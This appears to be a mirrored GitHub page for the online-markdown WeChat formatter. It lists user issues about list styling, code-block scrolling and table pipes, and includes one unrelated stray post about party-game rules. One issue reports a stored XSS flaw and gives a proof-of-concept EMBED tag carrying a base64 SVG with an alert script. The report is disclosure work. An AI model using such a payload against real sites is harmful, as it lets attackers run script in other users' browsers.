Giter Site home page Giter Site logo

barretlee / online-markdown Goto Github PK

View Code? Open in Web Editor NEW
884.0 36.0 406.0 370 KB

A online markdown converter specially for Wechat Public formatting.

Home Page: http://md.barretlee.com/

License: Other

CSS 19.87% JavaScript 79.38% HTML 0.76%
online markdown converter wechat formatter

online-markdown's Introduction

online-markdown's People

Contributors

barretlee avatar justjavac avatar ksky521 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

online-markdown's Issues

有序列表的样式

文章中存在有序列表的话,复制到微信公众号的编辑器中,有序列表的样式显示不出来。

下面是在小胡子哥的编辑器中的效果。

image

下面是在微信公众号编辑器,预览功能中的效果。经过若干次的尝试,预览的效果和实际发出来、在微信 app 中看到的效果几乎是一致的。因此,预览的时候有格式上的瑕疵,我通常会认为发出来之后也会有这个瑕疵。

image


不太清楚是不是因为有序列表样式中过多的 !important 覆盖导致微信在匹配样式时犯轴。微信自己是提供有序列表的,不至于屏蔽有序列表这一说。

There is a STORED XSS vulnerability

This online editor does not filter tag, which can lead to a STORED XSS.

--------POC-------------
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>


将配置保存在本地

在选择完主题等配置后,希望可以将配置保存在本地,下次再进入页面后还可以记住配置

自动换行与横向滚动条

请问代码块能否保留横向滚动条?现在微信根据手机屏幕宽度,给自动换行了,代码阅读起来还是不方便。。这个问题其实困扰我许久了。。

在iphone6中,公众号里面打开网页横向滚动没有,代码乱了

你好,我发了一篇文章,将预览后的样式粘贴到了公众号里面,发布文章后,在iphone6里面查看,发现代码乱了,横向滚动没有了。
wechatimg41
我用iphone自带的浏览器打开后,横向滚动式可以的,包括用电脑浏览器打开也是可以的,估计是在微信浏览器里面乱了。这是为什么呢?

列表(段落)排版错误

当列表为段落时,CSS 排版错位

例如:

- Dictionary mode(字典模式):字典模式也成为哈希表模式,V8 引擎使用哈希表来存储对象。

- Fast mode(快速模式):快速模式使用类似 C 语言的 struct 来表示对象,如果你不知道什么是 struct,可以理解为是只有属性没有方法的 class。

排版为:

image


如果没有段落,则正常:

- 新建的对象是 fast 模式
- 添加太多的属性,变 slow
- 设置为其它对象的 prototype,变 fast

排版结果:

image

但是复制到微信公众号后,列表的文字颜色变成了默认黑色:

image

表格无法显示 |

如果想在表格内显示 | ,无法完成。因为 | 会被认为是表格格式,转义 | 无效果,在别的一些markdown 工具可以。

提需求

https://github.com/ksky521/mpeditor
感觉这个做的很棒:
https://github.com/phodal/md
比如同步滚动啊,
实时预览啊加上就好了
上面这两个在复制的时候会丢失图片,不知道为啥更加贴合微信UI标准
支持实时预览
支持同步滚动
支持语法高亮
支持emoji表情(注意开了水印会影响效果)
扩展语法支持自定义颜色和字号

11

游戏规则:每组2名嘉宾参加,一名比划一名猜 ,自行商议决定谁比谁猜。限时60秒。比划者可以用肢体动作和口述语言来向猜者传递信息,但不得说出词语中带有的字, 猜不出可以喊过。

微信公众号中修改字体,代码块 滚动条消失

  1. 将包含文字、代码块的文字复制到微信公众号编辑器中。
  2. 在微信公众号编辑器中修改 代码块上方文字段的 字体(改为14号)、文字间隔(改为1)
  3. 保存、预览

预览中,代码块的 滚动条消失,代码的排版变为了正常换行的样式。
猜测是样式失效了

自定义css样式

我希望可以自定义公众号文章的css样式,修改默认字体颜色间距等。

代码是否支持以下特性

  1. 显示行号
  2. 如果一行代码太长,需要支持横向滑动。
  3. 保留代码格式,不会去掉前面的空格。

无法复制

在微信中无法黏贴在编辑器中的已复制内容。

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.